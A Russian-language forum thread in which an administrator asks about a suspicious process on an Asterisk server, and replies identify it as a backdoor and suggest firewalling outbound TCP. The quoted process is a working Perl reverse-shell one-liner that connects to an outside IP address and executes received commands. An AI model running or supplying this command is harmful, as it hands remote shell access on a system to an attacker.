Странный процес на сервере с Астериском

День добрый, всем.

perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"80.86.88.130:15000");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;

Это процесс который что-то отправляет с стандартного ввода?

бакдорчик

Наверное пора подумать о создании smart файрволов и тп. Я счас изучаю packetfence, перспективный проект. Но может есть и другие решения для автоматизированного отлавливания любой подозрительной активности и автоматической ее блокировки.

Не проще на серваке с Asterisk в iptables правильно настроить цепочку OUTPUT для пакетов TCP? То же самое и на роутике..
Так можно и обнаруживать подобную байду..